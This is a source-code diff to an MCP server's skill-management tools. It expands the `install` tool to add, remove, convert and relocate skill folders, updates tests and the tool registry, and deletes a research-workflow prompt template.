+ skillFolders: { action: 'unlink', root: '.claude/skills' },
+ });
+
+ expect(res.isError).toBe(true);
+ expect(text(res)).toContain('do not combine with `name`');
+ expect(calls).toHaveLength(0);
+ });
+
+ test('still requires a name when no folder verb is given', async () => {
+ stubOk();
+ const install = captureInstall('http://localhost:1234');
+
+ const res = await install({ add: ['claude'] });
+
+ expect(res.isError).toBe(true);
+ expect(text(res)).toContain('`name` is required');
+ expect(calls).toHaveLength(0);
+ });
+});
diff --git a/packages/server/src/mcp/tools/install.ts b/packages/server/src/mcp/tools/install.ts
index ab9112485..49a9b6229 100644
--- a/packages/server/src/mcp/tools/install.ts
+++ b/packages/server/src/mcp/tools/install.ts
@@ -4,27 +4,31 @@
* `.cursor/skills/`, `.codex/skills/`) so your agents pick it up.
*
* The one new verb beyond the `skill` target on write/edit/delete/move: the
- * deliberate Draft → Installed step. Routes to `POST /api/skill/install`
+ * per-editor fan-out step. Routes to `POST /api/skill/install`
* (server) which validates the source first (a conflicted / malformed SKILL.md
* is refused, never projected verbatim), projects to the project-configured
* editors (or an explicit `targets` list), and records the marker so
* reclaim re-materializes it and the sharing-mode exclude stays skill-aware.
*/
import {
+ SKILL_INSTALL_WARNING_CODES,
+ type SkillFolderAction,
+ SkillFolderActionSchema,
+ type SkillLocationId,
+ SkillLocationIdSchema,
type SkillScope,
- type SkillTargetEditor,
- SkillTargetEditorSchema,
} from '@inkeep/open-knowledge-core';
import { z } from 'zod';
import type { AgentIdentity } from '../agent-identity.ts';
import type { ConfigOrResolver, ServerInstance, ServerUrlOrResolver } from './shared.ts';
import {
agentIdentityFields,
- HOCUSPOCUS_NOT_RUNNING_ERROR,
+ errorTextWithDetail,
httpPost,
+ httpPut,
outputSchemaWithText,
ROUTED_CWD_DESCRIPTION,
- resolveProjectServerContext,
+ requireProjectServer,
summaryArgSchema,
textPlusStructured,
textResult,
@@ -32,18 +36,60 @@ import {
import { resolveSkillName, SKILL_NAME_DESCRIBE, SkillScopeArg } from './verb-schemas.ts';
const DESCRIPTION = [
- '[Requires: Hocuspocus server] Install an authored SKILL into your editors — the deliberate Draft → Installed step.',
+ '[Requires: Hocuspocus server] Manage WHERE a skill is available. A skill is ONE real folder (its SOURCE — the skill itself) plus managed copies/symlinks at other locations. `add`/`remove` change the other locations; `mode` flips copies↔symlinks; `source` moves the real folder. There is NO "uninstall everywhere" and no draft state — a skill with no extra locations still lives (and loads) at its source folder; to make a skill stop existing, use `delete`.',
'',
- 'Projects the skill source at `.ok/skills/<name>/` verbatim into the editor host dirs your project is configured for (`.claude/skills/<name>/`, `.cursor/skills/<name>/`, `.codex/skills/<name>/`, `.opencode/skills/<name>/`, `.pi/skills/<name>/`). The source is validated FIRST — a SKILL.md with git conflict markers, missing/invalid frontmatter, XML tags in name/description, or a reserved `open-knowledge*` name is refused (never projected into your agent context). Records the install so it survives a relaunch.',
+ 'Location ids: editor host ids (`claude` | `cursor` | `codex` | `copilot` | `opencode` | `pi`), `agents` (the vendor-neutral `.agents/skills` hub), or a base-relative custom root path containing `/` (e.g. `.team/skills`; home-relative at global scope). The source is validated FIRST — a SKILL.md with git conflict markers, missing/invalid frontmatter, XML tags in name/description, or a reserved `open-knowledge*` name is refused (never fanned into your agent context).',
'',
'**Parameters:**',
`- \`name\` — ${SKILL_NAME_DESCRIBE}`,
- '- `targets` — Optional explicit editor ids (`claude` | `cursor` | `codex` | `opencode` | `pi`). Omit to install into the editors this project is already configured for.',
- '- `scope` — `project` (default, shared via git) or `global` (user-global, installed into every editor on this machine).',
+ '- `add` — Locations to ADD the skill to (everything else untouched). Editor ids fan out a copy/symlink; a custom root path places the bundle there. Omitting both `add` and `remove` installs into the project-configured editors.',
+ '- `remove` — Locations to REMOVE it from (lossless only: a hand-edited fork is refused, never deleted). Works however the agent gets the skill: removing an editor that reads it through a folder alias (its skills folder symlinked into a shared root) automatically unfollows that folder from the root MINUS this skill — the editor keeps its other skills. The SOURCE cannot be removed — its folder is the skill; move it with `source` or use `delete`.',
+ '- `mode` — `"link"`: a live symlink to the source. `"copy"`: an independent folder, auto-refreshed from the source until hand-edited (a hand-edit forks that copy). Applies ONLY to the locations this call names — the ones in `add`, or the ones in `convert` — and sets no skill-wide default. Omit it on `add` and the new location takes the form the skill already uses.',
+ '- `convert` — Existing locations to change the FORM of, leaving membership alone. Requires `mode`. Pass every location to make them uniform. Lossless both ways; a hand-edited copy is refused rather than overwritten.',
+ "- `source` — Move the skill's REAL folder to this location; the old source becomes a symlink to it. Run alone (not with add/remove).",
+ '- `scope` — `project` (default, shared via git) or `global` (user-level, every project on this machine).',
'',
- 'After editing a skill, run `install` again to push the new version. After `delete({skill})`, the projection is removed automatically (uninstall).',
+ '- `skillFolders` — Folder-level topology instead of one skill (the Settings → Folders surface). Run alone; `name` is not used with it. One action per call:',
+ ' - `{ action: "link", scope, root, target }` — merge the skills folder `root` into `target` and replace `root` with a symlink, so its agent reads everything placed in `target`. Same-content entries drop; a DIFFERENT skill in both folders aborts with a conflict list; an interrupted merge is resumable by re-running. `target` is required — nothing is ever assumed.',
+ ' - `{ action: "unlink", scope, root, exclude? }` — turn a linked folder back into a real directory holding one per-skill symlink per skill it sees (lossless, reversible). `exclude: ["<skill>"]` leaves named skills out — "this agent should not get that skill": the folder keeps everything else but stops following the root.',
+ ' - `{ action: "add-root", scope, root }` — declare a NEW custom skills root (base-relative, e.g. ".team/skills"); it becomes a folder row and an install/link target immediately.',
+ '',
+ 'Copies auto-refresh when the source changes — you do NOT need to re-run install after editing a skill. After `delete({skill})` every location is removed with the source.',
].join('\n');
+/**
+ * Folder-level skill topology (link / unlink / add-root). Lives on `install`
+ * rather than `config` because MCP annotations are per-tool and static: one
+ * mutating field on `config` forced its `readOnlyHint` off, which made every
+ * plain config READ raise an approval prompt for users who never touch skills.
+ */
+async function runSkillFolderAction(
+ deps: InstallDeps,
+ action: SkillFolderAction,
+ cwd: string | undefined,
+): Promise<ReturnType<typeof textResult>> {
+ const context = await requireProjectServer(deps.resolveCwd, deps.config, deps.serverUrl, cwd);
+ if (!context.ok) return context.result;
+ const result = await httpPut(context.url, '/api/skill-targets', { folderAction: action });
+ if (!result.ok) return textResult(`Error: ${result.error}`, true);
+ const folder = (
+ result as { folder?: { moved?: string[]; dropped?: string[]; linked?: string[] } }
+ ).folder ?? { moved: [], dropped: [], linked: [] };
+ const summary =
+ action.action === 'link'
+ ? `Linked ${action.root} → ${action.target}: moved ${folder.moved?.length ?? 0} skill(s), dropped ${folder.dropped?.length ?? 0} duplicate(s). Its agent now reads everything placed in ${action.target}.`
+ : action.action === 'unlink'
+ ? `Unlinked ${action.root} — it is a real directory again with per-skill symlinks (nothing stopped working).`
+ : `Declared ${action.root} as a custom skills root — it is now an install and link target.`;
+ return textPlusStructured(summary, {
+ folder: {
+ moved: folder.moved ?? [],
+ dropped: folder.dropped ?? [],
+ linked: folder.linked ?? [],
+ },
+ });
+}
+
interface InstallDeps {
serverUrl: ServerUrlOrResolver;
config: ConfigOrResolver;
@@ -57,63 +103,207 @@ export function register(server: ServerInstance, deps: InstallDeps): void {
{
description: DESCRIPTION,
inputSchema: {
- name: z.string().describe(SKILL_NAME_DESCRIBE),
- targets: z
- .array(SkillTargetEditorSchema)
+ name: z
+ .string()
+ .optional()
+ .describe(`${SKILL_NAME_DESCRIBE} Required unless \`skillFolders\` is given.`),
+ skillFolders: SkillFolderActionSchema.optional().describe(
+ 'Folder-level skill-topology verb (link / unlink / add-root). Lives here rather than on `config` so that `config` stays a pure read and hosts can auto-approve it. Run alone, without `name`.',
+ ),
+ add: z
+ .array(SkillLocationIdSchema)
.optional()
.describe(
- 'Explicit editor ids to install into. Omit to use the editors this project is configured for.',
+ 'Locations to ADD the skill to — everything else untouched. Editor ids (`claude`…`pi`), `agents` (the hub), or a custom root path (".team/skills").',
),
+ remove: z
+ .array(SkillLocationIdSchema)
+ .optional()
+ .describe(
+ 'Locations to REMOVE the skill from (lossless only; a hand-edited fork is refused). An editor reading via a folder alias is unfollowed from the shared root minus this skill (it keeps the rest). The SOURCE cannot be removed — its folder IS the skill; use `source` to move it or `delete` to remove the skill.',
+ ),
+ convert: z
+ .array(SkillLocationIdSchema)
+ .optional()
+ .describe(
+ 'Existing locations to change the FORM of, leaving their membership alone. Requires `mode`. Pass every location to make them uniform. Lossless both ways; a hand-edited copy is refused rather than overwritten.',
+ ),
+ mode: z
+ .enum(['copy', 'link'])
+ .optional()
+ .describe(
+ 'The form for the locations THIS call touches — the ones in `add`, or the ones in `convert`. "link": a pointer to the source, so nothing can drift. "copy": an independent folder, auto-refreshed from the source until hand-edited. Omit on `add` to follow the form the skill already uses. This does not change locations the call does not name, and sets no skill-wide default.',
+ ),
+ source: SkillLocationIdSchema.optional().describe(
+ "Move the skill's REAL folder to this location (the old source becomes a symlink — never a removal). Run alone, not combined with add/remove.",
+ ),
scope: SkillScopeArg.optional(),
summary: summaryArgSchema,
cwd: z.string().optional().describe(ROUTED_CWD_DESCRIPTION),
},
outputSchema: outputSchemaWithText({
- name: z.string().optional(),
- hosts: z.array(z.string()).optional().describe('Editor ids the skill was projected into.'),
+ name: z.string().optional().describe('Managed skill name installed or uninstalled.'),
+ hosts: z
+ .array(z.string())
+ .optional()
+ .describe(
+ 'Every location holding the skill after the operation, SOURCE first (editor ids, `agents`, custom root paths). Never empty — the source folder is the skill.',
+ ),
+ sourceMovedTo: z
+ .string()
+ .optional()
+ .describe('Set when `source` relocated the real folder — its new bundle dir.'),
+ converted: z
+ .array(z.string())
+ .optional()
+ .describe('Locations whose form `convert` changed. Membership is unchanged.'),
+ warningCodes: z
+ .array(z.enum(SKILL_INSTALL_WARNING_CODES))
+ .optional()
+ .describe(
+ 'Machine-readable codes aligned 1:1 with `warnings` (`warnings[i]` is the display text for `warningCodes[i]`) — switch on these, never on the English. `no-targets`: nothing was projected, no editor is configured for this project. `scripts-present`: the skill ships executable `scripts/` (projected, never auto-run). `no-description`: installed, but its `description` is empty, so agents cannot route to it. `name-conflict`: a DIFFERENT skill already holds that name at a location. `place-path-invalid`: a named location is not a placeable root. `place-fork-refused`: a hand-edited copy was left alone rather than deleted. `skill-fork-name-unpatched`: a fork rename moved the folder but could not rewrite `name` in its SKILL.md.',
+ ),
scripts: z
.boolean()
.optional()
.describe('true when the skill ships executable `scripts/` (projected, never auto-run).'),
- warnings: z.array(z.string()).optional(),
+ warnings: z
+ .array(z.string())
+ .optional()
+ .describe('Non-fatal install/uninstall warnings from target projection.'),
+ folder: z
+ .object({
+ moved: z.array(z.string()).describe('Skill bundles moved into the target root.'),
+ dropped: z
+ .array(z.string())
+ .describe('Same-content duplicates dropped during the merge.'),
+ linked: z.array(z.string()).describe('Folders now linked (or unlinked/declared).'),
+ })
+ .optional()
+ .describe('Present after a `skillFolders` verb: what the folder operation did.'),
}),
},
async (args: {
- name: string;
- targets?: SkillTargetEditor[];
+ name?: string;
+ skillFolders?: SkillFolderAction;
+ add?: SkillLocationId[];
+ remove?: SkillLocationId[];
+ convert?: SkillLocationId[];
+ mode?: 'copy' | 'link';
+ source?: SkillLocationId;
scope?: SkillScope;
summary?: string;
cwd?: string;
}) => {
+ if (args.skillFolders !== undefined) {
+ if (args.name !== undefined) {
+ return textResult(
+ 'Error: `skillFolders` operates on folders, not one skill — do not combine with `name`.',
+ true,
+ );
+ }
+ return await runSkillFolderAction(deps, args.skillFolders, args.cwd);
+ }
+ if (args.name === undefined) {
+ return textResult('Error: `name` is required (or pass `skillFolders`).', true);
+ }
const resolved = resolveSkillName(args.name);
if (!resolved.ok) return textResult(`Error: ${resolved.error}`, true);
- const context = await resolveProjectServerContext(
+ const context = await requireProjectServer(
deps.resolveCwd,
deps.config,
deps.serverUrl,
args.cwd,
);
- if (!context.ok) return textResult(`Error: ${context.error}`, true);
- if (!context.url) return textResult(HOCUSPOCUS_NOT_RUNNING_ERROR, true);
+ if (!context.ok) return context.result;
- // Target resolution lives server-side: explicit tool arg → the project's
- // committed `.ok/skill-targets.json` → detected project-configured editors.
+ if (args.convert !== undefined && args.mode === undefined) {
+ return textResult(
+ 'Error: `convert` needs `mode` — the form to convert those locations to.',
+ true,
+ );
+ }
+
+ // Converting is per-location, the same verb the app offers: one request
+ // per location, in sequence. It is never a side effect of installing, and
+ // it records no skill-wide default — a later `add` still follows the form
+ // the skill already uses.
+ for (const target of args.convert ?? []) {
+ const converted = await httpPost(context.url, '/api/skill/install', {
+ ...(args.scope !== undefined ? { scope: args.scope } : {}),
+ name: args.name,
+ convert: { target, mode: args.mode },
+ ...(args.summary !== undefined ? { summary: args.summary } : {}),
+ ...agentIdentityFields(deps.identityRef?.current),
+ });
+ if (!converted.ok) return textResult(errorTextWithDetail(converted), true);
+ }
+ // A pure convert changes no membership, so there is no location math to
+ // run and nothing further to report.
+ if (
+ args.convert !== undefined &&
+ args.add === undefined &&
+ args.remove === undefined &&
+ args.source === undefined
+ ) {
+ const form = args.mode === 'link' ? 'symlinks to the source' : 'independent copies';
+ return textPlusStructured(
+ `Converted ${args.convert.length} location(s) of skill "${args.name}" to ${form}.`,
+ { name: args.name, converted: [...args.convert] },
+ );
+ }
+
+ // All location math lives server-side (atomic read-modify-write) — the
+ // tool passes the additive args through verbatim.
+ //
+ // `mode` is deliberately NOT forwarded here. The endpoint's `mode` applies
+ // to the whole resulting location set, so `add: ['cursor'], mode: 'copy'`
+ // would also convert the claude and codex symlinks the caller never named.
+ // This tool's `mode` is scoped to `add`, so it is applied below as a
+ // per-location convert — the same verb the app uses for one row.
const result = await httpPost(context.url, '/api/skill/install', {
...(args.scope !== undefined ? { scope: args.scope } : {}),
name: args.name,
- ...(args.targets !== undefined ? { targets: args.targets } : {}),
+ ...(args.add !== undefined ? { add: args.add } : {}),
+ ...(args.remove !== undefined ? { remove: args.remove } : {}),
+ ...(args.source !== undefined ? { source: args.source } : {}),
...(args.summary !== undefined ? { summary: args.summary } : {}),
...agentIdentityFields(deps.identityRef?.current),
});
- if (!result.ok) return textResult(`Error: ${result.error}`, true);
+ if (!result.ok) return textResult(errorTextWithDetail(result), true);
+
+ // Shape ONLY the locations just added. An already-correct form converges
+ // server-side, so re-stating it is a no-op rather than a rewrite.
+ for (const target of args.mode !== undefined ? (args.add ?? []) : []) {
+ const shaped = await httpPost(context.url, '/api/skill/install', {
+ ...(args.scope !== undefined ? { scope: args.scope } : {}),
+ name: args.name,
+ convert: { target, mode: args.mode },
+ ...agentIdentityFields(deps.identityRef?.current),
+ });
+ if (!shaped.ok) {
+ return textResult(
+ `Added ${args.add?.join(', ')} to "${args.name}", but setting ${target} to ${args.mode} failed. ${errorTextWithDetail(shaped)}`,
+ true,
+ );
+ }
+ }
const hosts = Array.isArray(result.hosts) ? (result.hosts as string[]) : [];
const scripts = result.scripts === true;
const warnings = Array.isArray(result.warnings) ? (result.warnings as string[]) : [];
+ // A bulk add/remove skips the locations it cannot do and succeeds on the
+ // rest, so the codes are the only way to tell WHICH kind of failure hit
+ // WHICH location — the single-shot verbs return a status instead.
+ const warningCodes = Array.isArray(result.warningCodes)
+ ? (result.warningCodes as string[])
+ : [];
+ const sourceMovedTo =
+ typeof result.sourceMovedTo === 'string' ? result.sourceMovedTo : undefined;
const lines = [
- hosts.length > 0
- ? `Installed skill "${args.name}" into: ${hosts.join(', ')}.`
- : `Skill "${args.name}" was not projected — no target editors.`,
+ sourceMovedTo !== undefined
+ ? `Moved skill "${args.name}"'s source folder to ${sourceMovedTo}; other locations now link to it.`
+ : `Skill "${args.name}" now lives at: ${hosts.join(', ') || '(its source folder)'}.`,
...warnings,
];
return textPlusStructured(lines.join('\n'), {
@@ -121,6 +311,8 @@ export function register(server: ServerInstance, deps: InstallDeps): void {
hosts,
scripts,
warnings,
+ ...(warningCodes.length > 0 ? { warningCodes } : {}),
+ ...(sourceMovedTo !== undefined ? { sourceMovedTo } : {}),
});
},
);
diff --git a/packages/server/src/mcp/tools/move.ts b/packages/server/src/mcp/tools/move.ts
index 531223ea4..9e0fcff6f 100644
--- a/packages/server/src/mcp/tools/move.ts
+++ b/packages/server/src/mcp/tools/move.ts
@@ -42,7 +42,7 @@ const DESCRIPTION = [
'- `from` — Current path. Doc: docName (trailing `.md`/`.mdx` stripped). Folder: relative path, no leading/trailing slash. Asset: the file path incl. extension.',
'- `to` — New path. Same shape as `from`.',
'- `template` — Move/rename a TEMPLATE instead of a doc/folder/asset: `{ from: "<folder>/<name>", to: "<folder>/<name>" }` (nested — a flat path cannot disambiguate a template under `.ok/templates/` from a same-named doc). Mutually exclusive with flat `from`/`to`. Inherited templates are not moved (move the local copy / the owning folder); templates carry no inbound links, so nothing is rewritten.',
- '- `skill` — Move/rename a SKILL: `{ from: "<name>", to: "<name>", scope?, toScope? }` (nested). Within one level (omit `toScope`, or `toScope` === `scope`): renames `.ok/skills/<from>/` → `.ok/skills/<to>/` and keeps the SKILL.md `name` in sync. ACROSS levels (`toScope` differs from `scope`, e.g. `scope: "project"` + `toScope: "global"`): moves the skill between the Project level (this KB) and the Global level (`~/.ok/skills`); history does NOT transfer (it re-creates fresh in the new level) and the moved skill lands as an un-projected Draft. Run `install` afterward to (re)project it. Mutually exclusive with flat `from`/`to`.',
+ '- `skill` — Move/rename a SKILL: `{ from: "<name>", to: "<name>", scope?, toScope? }` (nested). Within one level (omit `toScope`, or `toScope` === `scope`): renames the skill folder and keeps the SKILL.md `name` in sync. ACROSS levels (`toScope` differs from `scope`): moves the skill between the Project level (this KB) and the Global level (your user home); history does NOT transfer (it re-creates fresh in the new level), and the skill is re-projected into the locations it already occupied. Mutually exclusive with flat `from`/`to`.',
'- `summary` — Optional one-line user-outcome (≤80 chars). If omitted, defaults to "Renamed X → Y". Avoid secrets or PII — persisted to git history.',
'',
'**Errors:** 400 — invalid path / excluded by `.gitignore`/`.okignore`; 404 — source does not exist; 409 — destination already exists (`colliding[]` returned).',
@@ -176,18 +176,18 @@ export function register(server: ServerInstance, deps: MoveDeps): void {
.enum(MANAGED_ARTIFACT_SCOPES)
.optional()
.describe(
- 'Source level (default "project"). "project" = this KB\'s `.ok/skills/`; "global" = the Global `~/.ok/skills/`.',
+ 'Source level (default "project"). "project" = this KB; "global" = your user home.',
),
toScope: z
.enum(MANAGED_ARTIFACT_SCOPES)
.optional()
.describe(
- 'Destination level. Omit (or set equal to `scope`) for a within-level rename. Set to the OTHER level to move the skill across levels (project↔global) — history does not transfer and it lands as a Draft.',
+ 'Destination level. Omit (or set equal to `scope`) for a within-level rename. Set to the OTHER level to move the skill across levels (project↔global) — history does not transfer and it lands with no locations beyond its source.',
),
})
.optional()
.describe(
- 'Move/rename a SKILL: `{ from: "<name>", to: "<name>", scope?, toScope? }`. Within one level: renames `.ok/skills/<name>/` and keeps SKILL.md `name` in sync. Across levels (`toScope` differs from `scope`): moves between Project and Global, resetting history. Mutually exclusive with flat `from`/`to`.',
+ 'Move/rename a SKILL: `{ from: "<name>", to: "<name>", scope?, toScope? }`. Within one level: renames the skill folder and keeps SKILL.md `name` in sync. Across levels (`toScope` differs from `scope`): moves between Project and Global, resetting history. Mutually exclusive with flat `from`/`to`.',
),
summary: summaryArgSchema.describe(
'Optional one-line user-outcome (≤80 chars). Defaults to "Renamed X → Y". Persisted to git history.',
@@ -206,7 +206,7 @@ export function register(server: ServerInstance, deps: MoveDeps): void {
.boolean()
.optional()
.describe(
- 'Template move only: `true` = tracked `git mv` (history preserved), `false` = plain disk rename (untracked / local-only `.ok/`).',
+ 'Template move, or a skill move WITHIN one level: `true` = tracked `git mv` (history preserved), `false` = plain disk rename. Always `false` on a cross-level skill move — history does not transfer.',
),
renamed: z
.array(
@@ -238,7 +238,13 @@ export function register(server: ServerInstance, deps: MoveDeps): void {
.boolean()
.optional()
.describe(
- 'Skill cross-level move only: `true` when the skill was moved between the Project and Global levels (history reset; lands as a Draft — re-run `install`).',
+ 'Skill cross-level move only: `true` when the skill was moved between the Project and Global levels. History resets; the locations it occupied are re-projected.',
+ ),
+ skippedBinaryFiles: z
+ .array(z.string())
+ .optional()
+ .describe(
+ 'Skill cross-level move only: bundle files NOT copied because they fall outside the text-only bundle contract (binary or oversize). The move still succeeded and the source is gone, so these are the files you must carry over by hand.',
),
bothScopes: z
.boolean()
diff --git a/packages/server/src/mcp/tools/output-schema-strictness.test.ts b/packages/server/src/mcp/tools/output-schema-strictness.test.ts
index 7c19fa0c6..d6dea1d50 100644
--- a/packages/server/src/mcp/tools/output-schema-strictness.test.ts
+++ b/packages/server/src/mcp/tools/output-schema-strictness.test.ts
@@ -223,11 +223,10 @@ describe('MCP outputSchema strictness — auto-discovered registerTool sweep (no
'history',
'checkpoint',
'restore_version',
- // Write-spine + workflow output schemas (bounded per-target/per-kind unions).
+ // Write-spine output schemas (bounded per-target/per-kind unions).
'delete',
'move',
'conflicts',
- 'workflow',
'exec',
'edit',
'write',
diff --git a/packages/server/src/mcp/tools/registry.test.ts b/packages/server/src/mcp/tools/registry.test.ts
index a06d65e73..147610ef0 100644
--- a/packages/server/src/mcp/tools/registry.test.ts
+++ b/packages/server/src/mcp/tools/registry.test.ts
@@ -12,7 +12,6 @@
* (the interim single `version` tool was split).
* - `conflicts` absorbed list_conflicts + get_conflict_content.
* - `palette` absorbed get_components + get_authoring_palette.
- * - `workflow({ kind })` absorbed ingest / research / consolidate / discover.
* - `history` / `config` / `preview_url` dropped the `get_` prefix.
* - read_document / grep / list_documents were dropped (exec subsumes).
*
@@ -51,13 +50,13 @@ const EXPECTED_TOOLS = [
'move',
// Skill install-projection — the one new verb beyond the CRUD set.
'install',
+ // Skill import/acquire (skills marketplace slice 3) — the on-ramp paired with install.
+ 'import',
'checkpoint',
'restore_version',
// GitHub-sync conflicts
'conflicts',
'resolve_conflict',
- // Workflow
- 'workflow',
] as const;
const RETIRED_TOOL_NAMES = [
@@ -98,11 +97,12 @@ const RETIRED_TOOL_NAMES = [
// Components/palette merge → palette({ components? })
'get_components',
'get_authoring_palette',
- // Workflow primers → workflow({ kind })
+ // Workflow primers → relocated into skill guidance (assets/skills/)
'ingest',
'research',
'consolidate',
'discover',
+ 'workflow',
// get_ prefix drops → history / config / preview_url
'get_history',
'get_config',
@@ -177,6 +177,8 @@ describe('registerAllTools — full tool surface (SPEC.md §9.1 / AC8 + install
* otherwise). `audit` is a pure read (unified lint + link validation report; no
* fix shape). `exec` is read-only (sandboxed allowlist). `install` is NOT here — it projects executable skill
* scripts into the agent's own config dir, which no KB version history undoes.
+ * `import` is likewise gated — it fetches skill content from an arbitrary
+ * remote git URL (remote-code acquisition).
*/
const OK_AUTO_APPROVED_TOOLS = [
'exec',
@@ -193,7 +195,6 @@ const OK_AUTO_APPROVED_TOOLS = [
'restore_version',
'conflicts',
'resolve_conflict',
- 'workflow',
'lint',
'audit',
] as const;
diff --git a/packages/server/src/mcp/tools/research-body.ts b/packages/server/src/mcp/tools/research-body.ts
deleted file mode 100644
index ce90501b6..000000000
--- a/packages/server/src/mcp/tools/research-body.ts
+++ /dev/null
@@ -1,380 +0,0 @@
-/**
- * `research` MCP workflow tool — analyze a topic by gathering external sources,
- * reading them alongside existing content, and writing provisional findings
- * to the project's content directory.
- *
- * Principle: provisional, not canonical. Research articles capture findings,
- * trade-offs, and open questions at a point in time. Promoted to canonical
- * articles via the `consolidate` tool only when decisions solidify.
- */
-
-import { OK_DIR } from '@inkeep/open-knowledge-core';
-
-export function buildResearchBody(topic: string, contentDir: string): string {
- return `Conduct **evidence-driven research** on this topic and produce a provisional research article in the OpenKnowledge content directory. This workflow mirrors the discipline of the \`eng:research\` skill, scoped to OpenKnowledge's wiki-provisional layer.
-
-Topic: ${topic}
-Content directory: \`${contentDir}\` (from \`${OK_DIR}/config.yml\`)
-
-## Three paths
-
-- **Path A — Research article (DEFAULT):** Persistent provisional article under the content directory with an inline \`sources:\` frontmatter list pointing at raw sources captured via \`ingest\`. This is the default unless the user explicitly opts out.
-- **Path B — Direct answer:** Findings delivered in conversation only. **Requires explicit user request** (e.g., "just tell me", "no doc needed", "quick answer").
-- **Path C — Update existing research:** Surgical additions/corrections to an existing research article. Triggered when the user references an existing research doc or says "update/refresh/extend."
-
-Path A is the default because wiki-provisional articles compound over time; spoken answers do not.
-
-## Autonomy mode
-
-| Mode | Behavior | How entered |
-|---|---|---|
-| **Supervised** (default) | Stop at the scoping gate for user rubric confirmation. Route coverage decisions interactively. | Default when a user drives the session. |
-| **Headless** | Auto-confirm rubric after proposing it. Auto-select routing decisions. Skip interactive prompts. All other gates (scan, analysis, validation, grounding) still enforced. | Explicit "don't wait for me", "just proceed", "run headless" — or non-interactive container environments. |
-
-In headless mode, propose the rubric AND proceed immediately. Mark the Scoping task completed after proposing.
-
----
-
-## Mandatory execution order
-
-⛔ **Hard gates — do NOT skip ahead.** If you find yourself about to run a \`WebFetch\` or \`WebSearch\` without completing Steps 0-2, STOP — you skipped a gate.
-
-1. **Step 0: Create workflow checkpoint tasks** — ALWAYS the first action.
-2. ⛔ **Step 1: Scan existing coverage + route** — scan the content directory for prior work; classify coverage; present options before new research begins.
-3. ⛔ **Step 2: Collaborative scoping** — propose a research rubric. In Supervised mode, STOP and WAIT for user confirmation before any external fetch.
-4. **Step 3: Capture raw sources via \`ingest\`** — preserve before analyzing.
-5. **Step 4: Read + analyze** — 3P-external by default; 1P-codebase only when user explicitly requests.
-6. **Step 5: Write the research article** — Path A only.
-7. **Step 6: Link aggressively + file valuable Q&A back**.
-8. **Step 7: Validate** — frontmatter, dead-links, sources alignment.
-9. **Step 8: Recap + follow-up directions**.
-
-**Path B shortcut:** If the user explicitly requested a direct answer in Step 2, skip Steps 5, 7. Steps 0, 1, 3, 4, 6, 8 still apply (evidence discipline doesn't relax just because output is conversational).
-
----
-
-## Report framing default: external / third-party sources
-
-Research articles default to **3P/external framing** — investigating third-party topics, technologies, concepts, public repos, papers, official docs. **Do NOT mix the user's own codebase analysis into the research article unless the user explicitly asks.** Mixing drifts findings from factual synthesis toward opinion-forming applied to the company, reducing factual fidelity.
-
-- **Default:** external sources (web, OSS repos, papers, official APIs).
-- **Exception:** if user asks "research how our X compares to Y" or "include our codebase," include it — but clearly separate 1P observations from 3P findings in the article so a reader can distinguish externally-verifiable facts from company-specific takes.
-
----
-
-## Persist as you go — the article IS your checkpoint
-
-⛔ **PERSIST AS YOU GO — crash-safe checkpoint rule.** The single most expensive failure this workflow has produced is completed research lost to a mid-session rate limit or crash — analysis held in context, never written, discarded when the session died. The user paid for work that vanished. The knowledge base is the checkpoint; two rules make every step crash-safe:
-
-- **\`ingest\` each source the moment you fetch it (Step 3), one at a time** — never fetch all sources and ingest them in a trailing batch. An ingested source survives a crash; a fetched-but-unwritten one does not.
-- **Create the article skeleton early and fill it section-by-section as you read (Steps 4–5), not in one final write at the end.** After you analyze each source, \`edit\` its findings into the article before moving to the next. A crash after reading five of eight sources then leaves five sections safely in the KB; you resume by reading the partial article back, not by re-running the whole sweep.
-
-Structured notes that live only in your context are not persisted work. If a finding is worth keeping, it belongs in an ingested source or in the article — written, not held.
-
----
-
-## Step 0: Create workflow checkpoint tasks
-
-⛔ **ALWAYS THE FIRST ACTION.** Before any read, any scan, any fetch — create tasks. They persist across context compaction, make skipped steps immediately visible, and show progress to the user.
-
-Create these tasks via your host's task system (\`TaskCreate\` in Claude; equivalent elsewhere):
-
-\`\`\`
-TaskCreate: "Research: Scan existing coverage + route" → start as in_progress
-TaskCreate: "Research: Collaborative scoping — rubric gate" → pending, blocked by #1
-TaskCreate: "Research: Capture sources via ingest" → pending, blocked by #2
-TaskCreate: "Research: Read + analyze" → pending, blocked by #3
-TaskCreate: "Research: Write the research article" → pending, blocked by #4
-TaskCreate: "Research: Link aggressively + file Q&A back" → pending, blocked by #5
-TaskCreate: "Research: Validate (frontmatter + dead-links)" → pending, blocked by #6
-TaskCreate: "Research: Recap + follow-up directions" → pending, blocked by #7
-\`\`\`
-
-Use \`addBlockedBy\` to enforce ordering. As you complete each step, mark the task \`completed\` and the next task \`in_progress\`.
-
-**Path B variant:** If scoping determines Path B (direct answer), mark tasks #5 and #7 as \`deleted\` — they don't apply.
-
-**Path C variant:** If Step 1 routes to Path C (update existing), mark tasks #3 and #5 as \`deleted\` (ingest is usually unnecessary and no new article is created) and rename task #4 to "Research: Read existing article + diff deltas."
-
-Why tasks: the observed failure mode is the agent jumping straight to \`WebFetch\` without scanning or scoping. Tasks make the skipped gates obvious to the user mid-session.
-
----
-
-## Step 1: Scan existing coverage + route
-
-⛔ **MANDATORY FIRST RESEARCH STEP.** Before any external fetch, scan what the knowledge base already holds.
-
-### Phase 1: Check existing knowledge
-
-**If the user explicitly references an existing research article** (names it, links it, says "update/refresh/extend"):
-→ Skip the scan. Go directly to **Path C**.
-
-**Otherwise, always scan first:**
-
-1. \`exec("grep -rln <topic-keyword> ${contentDir}")\` — returns matching files with frontmatter enrichment so you can judge relevance without opening each.
-2. \`exec("ls ${contentDir}")\` — surfaces folder layout and most-recent-updated doc per subdir.
-3. For the **1–3 most promising candidates**, \`exec("cat <path>")\` — returns full doc + frontmatter + backlinks + recent shadow-repo activity.
-
-Classify:
-
-| Coverage | What it means | Route to |
-|---|---|---|
-| **Fully covered** | An existing article directly answers the question with evidence | Present findings; offer to elaborate, verify, extend, or explicitly new-report |
-| **Partially covered** | Related research exists; the specific question is a natural extension | Offer: (1) extend existing via Path C, (2) new article via Path A |
-| **Not covered** | No meaningful overlap | Proceed to Path A (default) or Path B |
-
-### Phase 2: Present routing options (Supervised mode)
-
-**Fully covered:**
-
-> "We already have research on this in \`<path>\`. Here's what it found: [2–4 key findings]. Options: (1) use as-is, (2) verify / refresh (article is from [date]), (3) extend on [specific dimension], (4) new angle if this is a different framing."
-
